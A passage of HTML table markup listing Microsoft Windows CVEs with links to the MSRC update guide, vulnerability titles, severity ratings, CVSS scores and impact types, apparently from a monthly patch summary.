  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
